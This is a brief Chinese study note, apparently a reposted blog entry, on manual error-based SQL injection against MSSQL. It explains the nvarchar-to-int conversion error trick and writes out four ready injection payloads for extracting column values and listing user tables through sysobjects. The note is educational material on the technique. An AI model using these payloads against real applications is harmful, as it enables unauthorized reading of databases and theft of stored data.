学习笔记 MSSQL显错手工注入

和朋友一起学习,速度就是快。感谢珍惜少年时

网上很多都在长篇大论MSSQL显错手工注入,其实原理只有一小段。如下:

' and (查询一段内容)=1 and 'C'='C
nvarchar类型(查询一段内容的返回) 会自动转换int类型 ,肯定会转换失败。然后报错将nvarchar类型(查询一段内容的返回) 的值显示出来。

由这个原理衍生出单字段查询。如下:

' and 0=(SELECT top 1 username FROM table) and 'C'='C

然后有衍生出多字段查询。如下:

' and 0=(SELECT top 100 username FROM table FOR XML PATH('')) and 'C'='C

最后根据MSSQL内置表特性和函数,写出如下:

' and 1=(select quotename(name) from 数据库名称..sysobjects where xtype='U' FOR XML PATH('')) and 'C'='C

如果SQL语句看不懂,请百度。

如果有问题欢迎纠正。

原文地址:https://www.cnblogs.com/MiWhite/p/6173711.html